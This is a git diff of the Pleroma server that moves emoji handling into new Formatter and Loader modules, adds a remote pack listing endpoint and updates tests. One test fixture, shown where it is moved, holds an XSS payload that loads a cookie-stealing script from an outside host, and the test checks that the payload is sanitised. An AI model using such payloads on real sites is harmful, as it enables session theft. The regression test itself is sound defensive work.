alias Pleroma.Notification
alias Pleroma.Object
@@ -140,7 +140,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
user_info_emojis =
user.info
|> Map.get(:emoji, [])
- |> Enum.concat(Formatter.get_emoji_map(emojis_text))
+ |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup()
info_params =
@@ -333,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
- |> Enum.map(fn {shortcode, relative_url, tags} ->
+ |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{
diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex
index 720bd4519..382ecf426 100644
--- a/lib/pleroma/web/metadata/utils.ex
+++ b/lib/pleroma/web/metadata/utils.ex
@@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Metadata.Utils do
+ alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
@@ -13,7 +14,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.get_cached_stripped_html_for_activity(object, "metadata")
- |> Formatter.demojify()
+ |> Emoji.Formatter.demojify()
|> Formatter.truncate()
end
@@ -23,7 +24,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.strip_tags()
- |> Formatter.demojify()
+ |> Emoji.Formatter.demojify()
|> Formatter.truncate(max_length)
end
diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex
index 3ad29bd38..545ad80c9 100644
--- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex
+++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex
@@ -3,12 +3,33 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
require Logger
- @emoji_dir_path Path.join(
- Pleroma.Config.get!([:instance, :static_dir]),
- "emoji"
- )
+ def emoji_dir_path do
+ Path.join(
+ Pleroma.Config.get!([:instance, :static_dir]),
+ "emoji"
+ )
+ end
+
+ @doc """
+ Lists packs from the remote instance.
+
+ Since JS cannot ask remote instances for their packs due to CPS, it has to
+ be done by the server
+ """
+ def list_from(conn, %{"instance_address" => address}) do
+ address = String.trim(address)
- @cache_seconds_per_file Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
+ if shareable_packs_available(address) do
+ list_resp =
+ "#{address}/api/pleroma/emoji/packs" |> Tesla.get!() |> Map.get(:body) |> Jason.decode!()
+
+ json(conn, list_resp)
+ else
+ conn
+ |> put_status(:internal_server_error)
+ |> json(%{error: "The requested instance does not support sharing emoji packs"})
+ end
+ end
@doc """
Lists the packs available on the instance as JSON.
@@ -17,7 +38,10 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
a map of "pack directory name" to pack.json contents.
"""
def list_packs(conn, _params) do
- with {:ok, results} <- File.ls(@emoji_dir_path) do
+ # Create the directory first if it does not exist. This is probably the first request made
+ # with the API so it should be sufficient
+ with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(emoji_dir_path())},
+ {:ls, {:ok, results}} <- {:ls, File.ls(emoji_dir_path())} do
pack_infos =
results
|> Enum.filter(&has_pack_json?/1)
@@ -28,24 +52,37 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
|> Enum.into(%{})
json(conn, pack_infos)
+ else
+ {:create_dir, {:error, e}} ->
+ conn
+ |> put_status(:internal_server_error)
+ |> json(%{error: "Failed to create the emoji pack directory at #{emoji_dir_path()}: #{e}"})
+
+ {:ls, {:error, e}} ->
+ conn
+ |> put_status(:internal_server_error)
+ |> json(%{
+ error:
+ "Failed to get the contents of the emoji pack directory at #{emoji_dir_path()}: #{e}"
+ })
end
end
defp has_pack_json?(file) do
- dir_path = Path.join(@emoji_dir_path, file)
+ dir_path = Path.join(emoji_dir_path(), file)
# Filter to only use the pack.json packs
File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json"))
end
defp load_pack(pack_name) do
- pack_path = Path.join(@emoji_dir_path, pack_name)
+ pack_path = Path.join(emoji_dir_path(), pack_name)
pack_file = Path.join(pack_path, "pack.json")
{pack_name, Jason.decode!(File.read!(pack_file))}
end
defp validate_pack({name, pack}) do
- pack_path = Path.join(@emoji_dir_path, name)
+ pack_path = Path.join(emoji_dir_path(), name)
if can_download?(pack, pack_path) do
archive_for_sha = make_archive(name, pack, pack_path)
@@ -79,7 +116,8 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
{:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)])
- cache_ms = :timer.seconds(@cache_seconds_per_file * Enum.count(files))
+ cache_seconds_per_file = Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
+ cache_ms = :timer.seconds(cache_seconds_per_file * Enum.count(files))
Cachex.put!(
:emoji_packs_cache,
@@ -115,7 +153,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
to download packs that the instance shares.
"""
def download_shared(conn, %{"name" => name}) do
- pack_dir = Path.join(@emoji_dir_path, name)
+ pack_dir = Path.join(emoji_dir_path(), name)
pack_file = Path.join(pack_dir, "pack.json")
with {_, true} <- {:exists?, File.exists?(pack_file)},
@@ -139,6 +177,22 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
end
end
+ defp shareable_packs_available(address) do
+ "#{address}/.well-known/nodeinfo"
+ |> Tesla.get!()
+ |> Map.get(:body)
+ |> Jason.decode!()
+ |> Map.get("links")
+ |> List.last()
+ |> Map.get("href")
+ # Get the actual nodeinfo address and fetch it
+ |> Tesla.get!()
+ |> Map.get(:body)
+ |> Jason.decode!()
+ |> get_in(["metadata", "features"])
+ |> Enum.member?("shareable_emoji_packs")
+ end
+
@doc """
An admin endpoint to request downloading a pack named `pack_name` from the instance
`instance_address`.
@@ -147,21 +201,9 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
from that instance, otherwise it will be downloaded from the fallback source, if there is one.
"""
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
- shareable_packs_available =
- "#{address}/.well-known/nodeinfo"
- |> Tesla.get!()
- |> Map.get(:body)
- |> Jason.decode!()
- |> List.last()
- |> Map.get("href")
- # Get the actual nodeinfo address and fetch it
- |> Tesla.get!()
- |> Map.get(:body)
- |> Jason.decode!()
- |> get_in(["metadata", "features"])
- |> Enum.member?("shareable_emoji_packs")
-
- if shareable_packs_available do
+ address = String.trim(address)
+
+ if shareable_packs_available(address) do
full_pack =
"#{address}/api/pleroma/emoji/packs/list"
|> Tesla.get!()
@@ -195,7 +237,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
%{body: emoji_archive} <- Tesla.get!(uri),
{_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
local_name = data["as"] || name
- pack_dir = Path.join(@emoji_dir_path, local_name)
+ pack_dir = Path.join(emoji_dir_path(), local_name)
File.mkdir_p!(pack_dir)
files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
@@ -233,7 +275,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
Creates an empty pack named `name` which then can be updated via the admin UI.
"""
def create(conn, %{"name" => name}) do
- pack_dir = Path.join(@emoji_dir_path, name)
+ pack_dir = Path.join(emoji_dir_path(), name)
if not File.exists?(pack_dir) do
File.mkdir_p!(pack_dir)
@@ -257,7 +299,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
Deletes the pack `name` and all it's files.
"""
def delete(conn, %{"name" => name}) do
- pack_dir = Path.join(@emoji_dir_path, name)
+ pack_dir = Path.join(emoji_dir_path(), name)
case File.rm_rf(pack_dir) do
{:ok, _} ->
@@ -276,7 +318,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
`new_data` is the new metadata for the pack, that will replace the old metadata.
"""
def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
- pack_file_p = Path.join([@emoji_dir_path, name, "pack.json"])
+ pack_file_p = Path.join([emoji_dir_path(), name, "pack.json"])
full_pack = Jason.decode!(File.read!(pack_file_p))
@@ -360,7 +402,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
conn,
%{"pack_name" => pack_name, "action" => "add", "shortcode" => shortcode} = params
) do
- pack_dir = Path.join(@emoji_dir_path, pack_name)
+ pack_dir = Path.join(emoji_dir_path(), pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
@@ -408,7 +450,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
"action" => "remove",
"shortcode" => shortcode
}) do
- pack_dir = Path.join(@emoji_dir_path, pack_name)
+ pack_dir = Path.join(emoji_dir_path(), pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
@@ -443,7 +485,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
conn,
%{"pack_name" => pack_name, "action" => "update", "shortcode" => shortcode} = params
) do
- pack_dir = Path.join(@emoji_dir_path, pack_name)
+ pack_dir = Path.join(emoji_dir_path(), pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
@@ -513,11 +555,11 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
assumed to be emojis and stored in the new `pack.json` file.
"""
def import_from_fs(conn, _params) do
- with {:ok, results} <- File.ls(@emoji_dir_path) do
+ with {:ok, results} <- File.ls(emoji_dir_path()) do
imported_pack_names =
results
|> Enum.filter(fn file ->
- dir_path = Path.join(@emoji_dir_path, file)
+ dir_path = Path.join(emoji_dir_path(), file)
# Find the directories that do NOT have pack.json
File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json"))
end)
@@ -533,7 +575,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
end
defp write_pack_json_contents(dir) do
- dir_path = Path.join(@emoji_dir_path, dir)
+ dir_path = Path.join(emoji_dir_path(), dir)
emoji_txt_path = Path.join(dir_path, "emoji.txt")
files_for_pack = files_for_pack(emoji_txt_path, dir_path)
@@ -569,7 +611,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
# If there's no emoji.txt, assume all files
# that are of certain extensions from the config are emojis and import them all
pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions])
- Pleroma.Emoji.make_shortcode_to_file_map(dir_path, pack_extensions)
+ Pleroma.Emoji.Loader.make_shortcode_to_file_map(dir_path, pack_extensions)
end
end
end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index e583093d2..8bc051936 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -222,6 +222,7 @@ defmodule Pleroma.Web.Router do
put("/:name", EmojiAPIController, :create)
delete("/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
+ post("/list_from", EmojiAPIController, :list_from)
end
scope "/packs" do
diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
index d7745ae7a..f05a84c7f 100644
--- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex
+++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
@@ -239,11 +239,9 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do
def emoji(conn, _params) do
emoji =
- Emoji.get_all()
- |> Enum.map(fn {short_code, path, tags} ->
- {short_code, %{image_url: path, tags: tags}}
+ Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
+ Map.put(acc, code, %{image_url: file, tags: tags})
end)
- |> Enum.into(%{})
json(conn, emoji)
end
diff --git a/mix.lock b/mix.lock
index 24b34c09c..530fbb0b4 100644
--- a/mix.lock
+++ b/mix.lock
@@ -39,7 +39,7 @@
"gen_stage": {:hex, :gen_stage, "0.14.2", "6a2a578a510c5bfca8a45e6b27552f613b41cf584b58210f017088d3d17d0b14", [:mix], [], "hexpm"},
"gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"},
"gettext": {:hex, :gettext, "0.17.0", "abe21542c831887a2b16f4c94556db9c421ab301aee417b7c4fbde7fbdbe01ec", [:mix], [], "hexpm"},
- "hackney": {:hex, :hackney, "1.15.1", "9f8f471c844b8ce395f7b6d8398139e26ddca9ebc171a8b91342ee15a19963f4", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.4", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"},
+ "hackney": {:hex, :hackney, "1.15.2", "07e33c794f8f8964ee86cebec1a8ed88db5070e52e904b8f12209773c1036085", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.5", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"},
"html_entities": {:hex, :html_entities, "0.4.0", "f2fee876858cf6aaa9db608820a3209e45a087c5177332799592142b50e89a6b", [:mix], [], "hexpm"},
"html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"},
"http_signatures": {:git, "https://git.pleroma.social/pleroma/http_signatures.git", "293d77bb6f4a67ac8bde1428735c3b42f22cbb30", [ref: "293d77bb6f4a67ac8bde1428735c3b42f22cbb30"]},
@@ -84,7 +84,7 @@
"quantum": {:hex, :quantum, "2.3.4", "72a0e8855e2adc101459eac8454787cb74ab4169de6ca50f670e72142d4960e9", [:mix], [{:calendar, "~> 0.17", [hex: :calendar, repo: "hexpm", optional: true]}, {:crontab, "~> 1.1", [hex: :crontab, repo: "hexpm", optional: false]}, {:gen_stage, "~> 0.12", [hex: :gen_stage, repo: "hexpm", optional: false]}, {:swarm, "~> 3.3", [hex: :swarm, repo: "hexpm", optional: false]}, {:timex, "~> 3.1", [hex: :timex, repo: "hexpm", optional: true]}], "hexpm"},
"ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"},
"recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]},
- "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"},
+ "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.5", "6eaf7ad16cb568bb01753dbbd7a95ff8b91c7979482b95f38443fe2c8852a79b", [:make, :mix, :rebar3], [], "hexpm"},
"swarm": {:hex, :swarm, "3.4.0", "64f8b30055d74640d2186c66354b33b999438692a91be275bb89cdc7e401f448", [:mix], [{:gen_state_machine, "~> 2.0", [hex: :gen_state_machine, repo: "hexpm", optional: false]}, {:libring, "~> 1.0", [hex: :libring, repo: "hexpm", optional: false]}], "hexpm"},
"sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm"},
"swoosh": {:hex, :swoosh, "0.23.2", "7dda95ff0bf54a2298328d6899c74dae1223777b43563ccebebb4b5d2b61df38", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm"},
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
new file mode 100644
index 000000000..6d25fc453
--- /dev/null
+++ b/test/emoji/formatter_test.exs
@@ -0,0 +1,64 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji
+ alias Pleroma.Emoji.Formatter
+ use Pleroma.DataCase
+
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
+
+ expected_result =
+ "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
+
+ assert Formatter.emojify(text) == expected_result
+ end
+
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji =
+ {
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+ "https://placehold.it/1x1"
+ }
+ |> Pleroma.Emoji.build()
+
+ expected_result =
+ "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+ assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
+ end
+ end
+
+ describe "get_emoji" do
+ test "it returns the emoji used in the text" do
+ text = "I love :firefox:"
+
+ assert Formatter.get_emoji(text) == [
+ {"firefox",
+ %Emoji{
+ code: "firefox",
+ file: "/emoji/Firefox.gif",
+ tags: ["Gif", "Fun"],
+ safe_code: "firefox",
+ safe_file: "/emoji/Firefox.gif"
+ }}
+ ]
+ end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
+ end
+end
diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs
new file mode 100644
index 000000000..045eef150
--- /dev/null
+++ b/test/emoji/loader_test.exs
@@ -0,0 +1,83 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.LoaderTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Emoji.Loader
+
+ describe "match_extra/2" do
+ setup do
+ groups = [
+ "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
+ "wildcard folder": "/emoji/custom/*/file.png",
+ "wildcard files": "/emoji/custom/folder/*.png",
+ "special file": "/emoji/custom/special.png"
+ ]
+
+ {:ok, groups: groups}
+ end
+
+ test "config for list of files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/first_file.png")
+ |> to_string()
+
+ assert group == "list of files"
+ end
+
+ test "config with wildcard folder", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard folder and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config with wildcard files and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config for special file", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/special.png")
+ |> to_string()
+
+ assert group == "special file"
+ end
+
+ test "no mathing returns nil", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/some_undefined.png")
+
+ refute group
+ end
+ end
+end
diff --git a/test/emoji_test.exs b/test/emoji_test.exs
index 07ac6ff1d..1fdbd0fdf 100644
--- a/test/emoji_test.exs
+++ b/test/emoji_test.exs
@@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
- {code, path, tags} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
- {code, path, tags} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
end
end
-
- describe "match_extra/2" do
- setup do
- groups = [
- "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
- "wildcard folder": "/emoji/custom/*/file.png",
- "wildcard files": "/emoji/custom/folder/*.png",
- "special file": "/emoji/custom/special.png"
- ]
-
- {:ok, groups: groups}
- end
-
- test "config for list of files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/first_file.png")
- |> to_string()
-
- assert group == "list of files"
- end
-
- test "config with wildcard folder", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard folder and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config with wildcard files and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config for special file", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/special.png")
- |> to_string()
-
- assert group == "special file"
- end
-
- test "no mathing returns nil", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/some_undefined.png")
-
- refute group
- end
- end
end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 2e4280fc2..3bff51527 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -225,6 +225,27 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?"
end
+
+ test "it can parse mentions and return the relevant users" do
+ text =
+ "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+
+ o = insert(:user, %{nickname: "o"})
+ jimm = insert(:user, %{nickname: "jimm"})
+ gsimg = insert(:user, %{nickname: "gsimg"})
+ archaeme = insert(:user, %{nickname: "archaeme"})
+ archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
+
+ expected_mentions = [
+ {"@archaeme", archaeme},
+ {"@archaeme@archae.me", archaeme_remote},
+ {"@gsimg", gsimg},
+ {"@jimm", jimm},
+ {"@o", o}
+ ]
+
+ assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+ end
end
describe ".parse_tags" do
@@ -242,69 +263,6 @@ defmodule Pleroma.FormatterTest do
end
end
- test "it can parse mentions and return the relevant users" do
- text =
- "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
-
- o = insert(:user, %{nickname: "o"})
- jimm = insert(:user, %{nickname: "jimm"})
- gsimg = insert(:user, %{nickname: "gsimg"})
- archaeme = insert(:user, %{nickname: "archaeme"})
- archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
-
- expected_mentions = [
- {"@archaeme", archaeme},
- {"@archaeme@archae.me", archaeme_remote},
- {"@gsimg", gsimg},
- {"@jimm", jimm},
- {"@o", o}
- ]
-
- assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
- end
-
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
-
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
-
test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs
index 70986374e..6d7eed4c1 100644
--- a/test/tasks/instance_test.exs
+++ b/test/tasks/instance_test.exs
@@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do
setup do
File.mkdir_p!(tmp_path())
- on_exit(fn -> File.rm_rf(tmp_path()) end)
+
+ on_exit(fn ->
+ File.rm_rf(tmp_path())
+ static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")
+
+ if File.exists?(static_dir) do
+ File.rm_rf(Path.join(static_dir, "robots.txt"))
+ end
+ end)
+
:ok
end
diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs
index 9e8e420ec..ab52044ae 100644
--- a/test/web/activity_pub/activity_pub_controller_test.exs
+++ b/test/web/activity_pub/activity_pub_controller_test.exs
@@ -479,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn
|> assign(:user, user)
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/inbox")
+ |> get("/users/#{user.nickname}/inbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@@ -567,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/outbox")
+ |> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@@ -579,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/outbox")
+ |> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ announce_activity.data["object"]
end
diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
index 78b0408ee..3155749aa 100644
--- a/test/web/activity_pub/views/user_view_test.exs
+++ b/test/web/activity_pub/views/user_view_test.exs
@@ -159,7 +159,7 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
end
end
- test "outbox paginates correctly" do
+ test "activity collection page aginates correctly" do
user = insert(:user)
posts =
@@ -171,13 +171,21 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
# outbox sorts chronologically, newest first, with ten per page
posts = Enum.reverse(posts)
- %{"first" => %{"next" => next_url}} =
- UserView.render("outbox.json", %{user: user, max_id: nil})
+ %{"next" => next_url} =
+ UserView.render("activity_collection_page.json", %{
+ iri: "#{user.ap_id}/outbox",
+ activities: Enum.take(posts, 10)
+ })
next_id = Enum.at(posts, 9).id
assert next_url =~ next_id
- %{"next" => next_url} = UserView.render("outbox.json", %{user: user, max_id: next_id})
+ %{"next" => next_url} =
+ UserView.render("activity_collection_page.json", %{
+ iri: "#{user.ap_id}/outbox",
+ activities: Enum.take(Enum.drop(posts, 10), 10)
+ })
+
next_id = Enum.at(posts, 19).id
assert next_url =~ next_id
end
